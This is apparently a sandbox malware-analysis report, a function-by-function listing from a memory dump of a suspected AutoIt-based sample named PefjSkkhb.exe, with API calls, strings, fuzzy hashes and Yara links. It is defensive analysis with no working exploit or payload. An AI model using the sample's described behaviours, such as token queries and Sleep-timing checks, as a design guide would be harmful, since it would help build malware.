Opcode ID: c10d22a9dfdb007e9cd3e446db2f26fc59a904d9b079c484f8598dfd72a81c9f
Instruction ID: 7bd9344a854eb5aff1b64b2031ad823c90fceea25f6aee6235e592c4ecbd05c4
Opcode Fuzzy Hash: c10d22a9dfdb007e9cd3e446db2f26fc59a904d9b079c484f8598dfd72a81c9f
Instruction Fuzzy Hash: 04213C3AA0868686EA24EF05E4805AD7761FB86FC4F9501B1EB4D87B59CF3CE941DB00

Function 00007FF697B72FB8 Relevance: 6.1, APIs: 4, Instructions: 55COMMON

Download Yara Rule

APIs

_ctrlfp.LIBCMT ref: 00007FF697B72FE5
_ctrlfp.LIBCMT ref: 00007FF697B73039
_ctrlfp.LIBCMT ref: 00007FF697B7304D
_ctrlfp.LIBCMT ref: 00007FF697B73071

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: _ctrlfp
String ID:
API String ID: 697997973-0
Opcode ID: 696024c0d85e9950b44dad3db47e8c6049c7f355de1dae667ed974782f5b2eb5
Instruction ID: 47b6b015a870db9a3fa668f389411e75c11cee8e9ed0e3109f73e43bce059953
Opcode Fuzzy Hash: 696024c0d85e9950b44dad3db47e8c6049c7f355de1dae667ed974782f5b2eb5
Instruction Fuzzy Hash: D411F631D0C58686E6209F38914127BA271FF9B7C0F644270FB898BEADDE2DD5418B00

Function 00007FF697BBCF68 Relevance: 6.1, APIs: 4, Instructions: 55synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00007FF697BBCFA7

Part of subcall function 00007FF697B71F44: _invalid_parameter_noinfo.LIBCMT ref: 00007FF697B71F68

MessageBoxW.USER32 ref: 00007FF697BBCFEA
WaitForSingleObject.KERNEL32 ref: 00007FF697BBD004
CloseHandle.KERNEL32 ref: 00007FF697BBD00D

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: CloseCurrentHandleMessageObjectSingleThreadWait_invalid_parameter_noinfo
String ID:
API String ID: 2979156933-0
Opcode ID: 2a49c66315dd4afd268b707153c3627d2a79b8a5ce35e179a418e828e304454b
Instruction ID: 8cd55dc60d9e2ba7741fc0836bbb32754ff8c020f89ba33c39770de20988f940
Opcode Fuzzy Hash: 2a49c66315dd4afd268b707153c3627d2a79b8a5ce35e179a418e828e304454b
Instruction Fuzzy Hash: 4221D832A087818AF720DF16B88016A77A1FB85BD4F444175ED9D83B69CF3CE1459740

Function 00007FF697BEFA78 Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

GetWindowRect.USER32 ref: 00007FF697BEFAA8
ScreenToClient.USER32 ref: 00007FF697BEFAC1
ScreenToClient.USER32 ref: 00007FF697BEFAE6
InvalidateRect.USER32 ref: 00007FF697BEFB02

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: ClientRectScreen$InvalidateWindow
String ID:
API String ID: 357397906-0
Opcode ID: 30ca773a2ae41b56c6e1d6d31e0bfc9c1d6a93403dc69e79101ac1cf7de44ee4
Instruction ID: 3f0316567f0633b527af4a28f954139c9b01547c5f2a28bf17d82d6510d1246f
Opcode Fuzzy Hash: 30ca773a2ae41b56c6e1d6d31e0bfc9c1d6a93403dc69e79101ac1cf7de44ee4
Instruction Fuzzy Hash: 2921F7BAA04745DEEB00DF78D8845AC7BB0F749B88B404866EB5893B1CDF78D654CB50

Function 00007FF697B7B778 Relevance: 6.0, APIs: 4, Instructions: 43COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF697B68DD0,?,?,0x%p,00007FF697B6D8ED), ref: 00007FF697B7B782
SetLastError.KERNEL32(?,?,?,00007FF697B68DD0,?,?,0x%p,00007FF697B6D8ED), ref: 00007FF697B7B7EA
SetLastError.KERNEL32(?,?,?,00007FF697B68DD0,?,?,0x%p,00007FF697B6D8ED), ref: 00007FF697B7B800
abort.LIBCMT ref: 00007FF697B7B806

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: ErrorLast$abort
String ID:
API String ID: 1447195878-0
Opcode ID: 93a8c6ec86c577cad6803fb95bafd4c8778ff4d5622681f9be56b0e8e8078c7b
Instruction ID: 8674cfb250ed157df04f7d8836228de33075aa13130eb90a96804abc25b9904c
Opcode Fuzzy Hash: 93a8c6ec86c577cad6803fb95bafd4c8778ff4d5622681f9be56b0e8e8078c7b
Instruction Fuzzy Hash: 0201C834B0D24282FA78AF39956613E2161EF46BD0F4414B8D81ECAFEEFD2CE8414A00

Function 00007FF697BB9260 Relevance: 6.0, APIs: 4, Instructions: 37sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32 ref: 00007FF697BB9283
Sleep.KERNEL32 ref: 00007FF697BB9297
QueryPerformanceCounter.KERNEL32 ref: 00007FF697BB92A2
Sleep.KERNEL32 ref: 00007FF697BB92CD

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: CounterPerformanceQuerySleep
String ID:
API String ID: 2875609808-0
Opcode ID: c6a5989f9dc195674d757a8e27f3c1042de8158b51fda3090b6682196588991b
Instruction ID: 90aeaed4b7d53d8b722ced16c7c53491d05b2ea7a77e7e87096add8ae2dfbf30
Opcode Fuzzy Hash: c6a5989f9dc195674d757a8e27f3c1042de8158b51fda3090b6682196588991b
Instruction Fuzzy Hash: 1201D234E08B8682EA265F38948417AB360FF9AB81F060376ED4FA1568CF2CF5858600

Function 00007FF697BF072C Relevance: 6.0, APIs: 4, Instructions: 36COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF697B42370: ExtCreatePen.GDI32 ref: 00007FF697B423FF
Part of subcall function 00007FF697B42370: SelectObject.GDI32 ref: 00007FF697B42412
Part of subcall function 00007FF697B42370: BeginPath.GDI32 ref: 00007FF697B4242B
Part of subcall function 00007FF697B42370: SelectObject.GDI32 ref: 00007FF697B42452

MoveToEx.GDI32 ref: 00007FF697BF0771
LineTo.GDI32 ref: 00007FF697BF0783
EndPath.GDI32 ref: 00007FF697BF0795
StrokePath.GDI32 ref: 00007FF697BF07A5

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
String ID:
API String ID: 1539411459-0
Opcode ID: 058f7c961f19f1df1cfb2125e1cbf4c754dffe1c4cdb6de871a3d3459fa768a6
Instruction ID: 496584f1dcf9383e72af4faffd0bd84d4d371e7826f1b59e32db0ac3921e711a
Opcode Fuzzy Hash: 058f7c961f19f1df1cfb2125e1cbf4c754dffe1c4cdb6de871a3d3459fa768a6
Instruction Fuzzy Hash: 9201B539B1879186E7205F15B809729AF60FF82FD4F1841B4DE9943BA5CF7DE4419B00

Function 00007FF697BAD4EC Relevance: 6.0, APIs: 4, Instructions: 24threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 00007FF697BAD4F6
OpenThreadToken.ADVAPI32(?,?,00000000,00007FF697BACC94), ref: 00007FF697BAD509
GetCurrentProcess.KERNEL32(?,?,00000000,00007FF697BACC94), ref: 00007FF697BAD513
OpenProcessToken.ADVAPI32(?,?,00000000,00007FF697BACC94), ref: 00007FF697BAD524

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: CurrentOpenProcessThreadToken
String ID:
API String ID: 3974789173-0
Opcode ID: 5cd93aab99a75fcfcb42631ab9fe43dfed1bd9e6d723e162398547d1910a1280
Instruction ID: 7921a9fe81d3b5838a20e7dd677f9f4d86b68987d24ba7ddfb704dd8dc5f5c2a
Opcode Fuzzy Hash: 5cd93aab99a75fcfcb42631ab9fe43dfed1bd9e6d723e162398547d1910a1280
Instruction Fuzzy Hash: 98F06D76A1990292FB646F71EC1476823E0FF5AFD5F884074C91EC2258EF3C99899300

Function 00007FF697BA326E Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00007FF697BA326E
GetDC.USER32 ref: 00007FF697BA327A
GetDeviceCaps.GDI32 ref: 00007FF697BA32A4
ReleaseDC.USER32 ref: 00007FF697BA32C5

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 1feedfad755e607c49e01145a3823af596c92df2e00356d80eed4a018d1c4b5c
Instruction ID: d072eed439da8d9b2e15dc1b8197415ba973964bee86b167e23c0027e322c698
Opcode Fuzzy Hash: 1feedfad755e607c49e01145a3823af596c92df2e00356d80eed4a018d1c4b5c
Instruction Fuzzy Hash: F1E04F34B0970286FA24EF62A81C2382655EF4AFD1F0140B0CD0FC3B5DDE3CA045A300

Function 00007FF697BA3287 Relevance: 6.0, APIs: 4, Instructions: 18COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00007FF697BA3287
GetDC.USER32 ref: 00007FF697BA3293
GetDeviceCaps.GDI32 ref: 00007FF697BA32A4
ReleaseDC.USER32 ref: 00007FF697BA32C5

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 0f8fd1d3423bd3015dfaeae2d2106595fe3726f148ce33332917fba087c4fcce
Instruction ID: 03d2de2df02533301894e8a4fe988f78916fcb8ef8497e7e22c01b3fbb172742
Opcode Fuzzy Hash: 0f8fd1d3423bd3015dfaeae2d2106595fe3726f148ce33332917fba087c4fcce
Instruction Fuzzy Hash: 44E04638B0970286EA20EF62A81C2382659EF4AFC1F0100B0CE0FC3B69DF3DA005A300

Function 00007FF697BB1D10 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 200comCOMMON

Download Yara Rule

APIs

OleSetContainedObject.OLE32 ref: 00007FF697BB1F50

Strings

AutoIt3GUI, xrefs: 00007FF697BB1E7C
Container, xrefs: 00007FF697BB1E83

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: ContainedObject
String ID: AutoIt3GUI$Container
API String ID: 3565006973-3941886329
Opcode ID: ec532330f33b0a9812ac3d9e654419ff88b42a82dbb45e6ba561f09289b70eff
Instruction ID: de53a6f1eac9862d6af49cddd8d827b1477c857e9735781dc7724ee1768117cd
Opcode Fuzzy Hash: ec532330f33b0a9812ac3d9e654419ff88b42a82dbb45e6ba561f09289b70eff
Instruction Fuzzy Hash: 9E912476604B4686DB24DF29E4806AD73B5FB89B98F518036DF8D83728EF39E955C300

Function 00007FF697B7D0A8 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF697B7D0EB

Strings

e+000, xrefs: 00007FF697B7D193
gfff, xrefs: 00007FF697B7D216

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: e+000$gfff
API String ID: 3215553584-3030954782
Opcode ID: 04dcd116da85894f10939a0f3d563d07a18b7e7aec23bacfc76a5396d48b7619
Instruction ID: 5ef1db21405eb9b7e6e10f33ffc6757dd0eba27bce6fa20819fd2e50d45435cf
Opcode Fuzzy Hash: 04dcd116da85894f10939a0f3d563d07a18b7e7aec23bacfc76a5396d48b7619
Instruction Fuzzy Hash: 71510372B187C286E7358F35D9413696A91FB82BD0F4892B1CB99C7EDACE2CD045C700

Function 00007FF697B7A09C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF697B7A0C6
GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF697B6529A), ref: 00007FF697B7A0E2

Strings

C:\Users\user\AppData\Roaming\PefjSkkhb.exe, xrefs: 00007FF697B7A0D0

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: FileModuleName_invalid_parameter_noinfo
String ID: C:\Users\user\AppData\Roaming\PefjSkkhb.exe
API String ID: 3307058713-4260059674
Opcode ID: d66799c7fb8d49ba8911ba2da8beafd52f849db9660eadf2b3aeaa59b2ad0887
Instruction ID: 8b92fb835d5a2d9346abea6714e5be7243d061bac0d6c4e3f9c9547e2a42a3a7
Opcode Fuzzy Hash: d66799c7fb8d49ba8911ba2da8beafd52f849db9660eadf2b3aeaa59b2ad0887
Instruction Fuzzy Hash: BE41AE32A08A568AF764DF29E8412BD67A4FF46BD4F555075E90E87F89DE3CE4828300

Function 00007FF697BE9E08 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 89COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF697B4932C: CreateWindowExW.USER32 ref: 00007FF697B493BC
Part of subcall function 00007FF697B4932C: GetStockObject.GDI32 ref: 00007FF697B493D9
Part of subcall function 00007FF697B4932C: SendMessageW.USER32 ref: 00007FF697B493EC

DestroyWindow.USER32 ref: 00007FF697BE9F43

Strings

static, xrefs: 00007FF697BE9E54

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Window$CreateDestroyMessageObjectSendStock
String ID: static
API String ID: 3467290483-2160076837
Opcode ID: a4bdc31031acf25a780acb8ebad28d815df5c0ae00d3c31ea018055d33185612
Instruction ID: a01caefe52e620c72b097a2bca51750fa0412fb2476a224c340f2fd9a2779efd
Opcode Fuzzy Hash: a4bdc31031acf25a780acb8ebad28d815df5c0ae00d3c31ea018055d33185612
Instruction Fuzzy Hash: F94128325086C286D6709F21E4407AEB7A1FB85B90F104275EBEE43B99DF3CE4859B40

Function 00007FF697BD5E00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF697BD61CC: WideCharToMultiByte.KERNEL32 ref: 00007FF697BD620C

inet_addr.WSOCK32(?,?,?,?,?,?,?,00007FF697BD37FB), ref: 00007FF697BD5E4D
htons.WSOCK32(?,?,?,?,?,?,?,00007FF697BD37FB), ref: 00007FF697BD5EDB

Strings

255.255.255.255, xrefs: 00007FF697BD5E6A

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: ByteCharMultiWidehtonsinet_addr
String ID: 255.255.255.255
API String ID: 2496851823-2422070025
Opcode ID: e55c8c587f1448b1a4207f66a752895f1a07630204b4ee05391494375fe3cc25
Instruction ID: 65efe6f093d973fac758622b63c2f19594cf50450f6d611b50b8bce8601d2ee3
Opcode Fuzzy Hash: e55c8c587f1448b1a4207f66a752895f1a07630204b4ee05391494375fe3cc25
Instruction Fuzzy Hash: 7531BE76A0864282EB309F26D8542BC37A0FF5ABD8F058572DE5E83399DE3CD546C308

Function 00007FF697BD03C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 81COMMON

Download Yara Rule

APIs

_snwprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF697BD045A

Strings

, $, xrefs: 00007FF697BD0495
AUTOITCALLVARIABLE%d, xrefs: 00007FF697BD044A

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: _snwprintf
String ID: , $$AUTOITCALLVARIABLE%d
API String ID: 3988819677-2584243854
Opcode ID: c7e08f6a60c99c5d777c2b71318a0fa50eea3cb020f88eb0f1ff8c1330ae95ab
Instruction ID: 1ab7fd0c25c4489d0e72822cd8f8da30f11c8e669c9ff6f5b82f1c1dc9291c17
Opcode Fuzzy Hash: c7e08f6a60c99c5d777c2b71318a0fa50eea3cb020f88eb0f1ff8c1330ae95ab
Instruction Fuzzy Hash: 423127B6B08B0299EB30DF65E4955AC2371FB56BC4B4040B2DE0E97B59DF38E50AC740

Function 00007FF697BEB224 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 73COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF697B4932C: CreateWindowExW.USER32 ref: 00007FF697B493BC
Part of subcall function 00007FF697B4932C: GetStockObject.GDI32 ref: 00007FF697B493D9
Part of subcall function 00007FF697B4932C: SendMessageW.USER32 ref: 00007FF697B493EC

SetWindowPos.USER32 ref: 00007FF697BEB31B

Strings

SysTabControl32, xrefs: 00007FF697BEB278
, xrefs: 00007FF697BEB2FE

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Window$CreateMessageObjectSendStock
String ID: $SysTabControl32
API String ID: 2080134422-3143400907
Opcode ID: bda9a96d7587ee0db61141e8122984108ce719646b8dc1b3190cd5c08410ff98
Instruction ID: 79bb43eb44e1fd2bc076a4a3d1df4aaf0b1bd56c07a9c770cc38b21cb2a458b5
Opcode Fuzzy Hash: bda9a96d7587ee0db61141e8122984108ce719646b8dc1b3190cd5c08410ff98
Instruction Fuzzy Hash: 1A3137325087C1CAE770CF25A444B9AB7A0F785BA4F144379EAA957BD8DB38D4918F40

Function 00007FF697B7DC30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FF697B7DCA2
GetFileType.KERNEL32 ref: 00007FF697B7DCB8

Strings

@, xrefs: 00007FF697B7DCE3

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: FileHandleType
String ID: @
API String ID: 3000768030-2766056989
